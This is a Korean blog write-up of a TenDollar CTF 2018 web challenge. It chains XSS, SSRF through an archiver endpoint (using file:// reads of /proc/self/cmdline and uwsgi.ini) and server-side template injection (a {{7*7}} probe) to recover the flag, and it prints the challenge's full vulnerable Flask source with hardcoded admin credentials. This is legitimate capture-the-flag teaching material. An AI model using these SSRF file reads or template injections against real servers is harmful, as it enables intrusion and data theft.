해당 문제는 들어가보면 여러기능중 Contact 기능만 동작한다. 해당 기능은 문제 이름에서 보이듯이 XSS가 터진다.
XSS에는 별다른 필터는 없었는데 세션 값이 안날라왔다. 근데 잘 보면 아래와 같이 Referer 헤더에 admin 관련 URL이 존재한다.
해당 URL 구조를 봐서는 url 파라미터로 받아온 값을 서버측에서 요청하는 구조라 SSRF가 터질거라 생각했고 file wrapper를 사용해보니 정상적으로 파일을 읽어올 수 있었다.
file:///proc/self/cmdline
file:///tmp/uwsgi.ini
순으로 소스코드 파일 경로 확인 후 보면 아래와 같다.
main.py
# -*- encoding:utf-8 -*-
from flask import Flask, render_template, render_template_string, request
import sqlite3
import urllib2
from selenium import webdriver
app = Flask(__name__)
createtable = """CREATE TABLE IF NOT EXISTS contact (
id integer PRIMARY KEY AUTOINCREMENT,
email text,
message text,
is_checked integer DEFAULT 0
);
"""
@app.route("/")
def index():
return render_template('index.html')
@app.route("/contact")
def login():
return render_template('contact.html')
@app.route("/submit", methods=['GET'])
def submit():
email = request.args.get('email')
message = request.args.get('message')
conn = sqlite3.connect("/tmp/mydb.db")
cur = conn.cursor()
cur.execute(createtable)
sql = "insert into contact(email, message) values (?, ?);"
cur.execute(sql, (email, message))
conn.commit()
conn.close()
bot()
return "<script>alert(\"접수 완료\"); history.back(-1);</script>"
@app.route("/admin", methods=['GET'])
def admin():
_id = request.args.get('_id')
_pw = request.args.get('_pw')
_email = request.args.get('email')
if not (_id == "admin" and _pw == "admin123^__^"):
return "do not hack!"
conn = sqlite3.connect("/tmp/mydb.db")
cur = conn.cursor()
cur.execute(createtable)
sql = "select * from contact where is_checked = 0 limit 1;"
if _email is not None:
sql = "select * from contact where email = '%s' limit 1;" % _email.replace("'", "''")
cur.execute(sql)
rows = cur.fetchall()
if len(rows) == 0:
conn.close()
return "None"
idx = rows[0][0]
email = rows[0][1]
message = rows[0][2]
is_checked = rows[0][3]
sql = "update contact set is_checked = 1 where id = %d" % idx
cur.execute(sql)
conn.commit()
conn.close()
result = """
idx : %d<br>
email : %s<br>
message : %s<br>
is_checked : %d<br>
""" % (idx, email, message, is_checked)
return render_template_string(result)
@app.route("/archiver", methods=['GET'])
def archiver():
url = request.args.get('url')
r = urllib2.Request(url)
r.add_header('Referer', request.url)
return urllib2.urlopen(r).read()
def bot():
options = webdriver.ChromeOptions()
options.add_argument('headless')
options.add_argument('window-size=1920x1080')
options.add_argument("disable-gpu")
options.add_argument("--no-sandbox")
driver = webdriver.Chrome('./chromedriver', chrome_options=options)
driver.get('http://localhost/archiver?url=http%3A%2F%2Flocalhost%2Fadmin%3F_id%3Dadmin%26_pw%3Dadmin123%5E__%5E')
driver.implicitly_wait(1)
driver.quit()
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)
코드를 쭉 보다보면 아래 코드를 통해 SSTI가 터지는걸 볼 수 있다.
result = """
idx : %d<br>
email : %s<br>
message : %s<br>
is_checked : %d<br>
""" % (idx, email, message, is_checked)
return render_template_string(result)
여기서 취약점을 터트리기 위해 사이트 내에서 유일하게 사용가능했던 contact 기능을 통해 message에 SSTI 구문을 아래와 같이 넣어봤다.
http://web1.tendollar.kr:10102/submit?email=JeonYoungSin&message={{7*7}}
그 후 아래와 같이 해당 이메일 접수글을 조회해보면 SSTI가 실제로 터지는걸 볼 수 있었다.
여기서부터는 별다른 필터가 없어서 아래와 같이 플래그를 가져왔다.
Flag = TDCTF{XSS_m3anS_n0t_jUSt_XSS_But_X55_SSRF_S5TI}
'CTF > Writeup' 카테고리의 다른 글
TenDollar CTF 2018 Cat-Proxy (0) | 2018.12.02 |
---|---|
TenDollar CTF 2018 Kou (0) | 2018.12.01 |
TenDollar CTF 2018 LinkedList - 1,2 (0) | 2018.12.01 |
TenDollar CTF 2018 Ninja (0) | 2018.12.01 |
TenDollar CTF 2018 I'm Blind Not Deaf (0) | 2018.12.01 |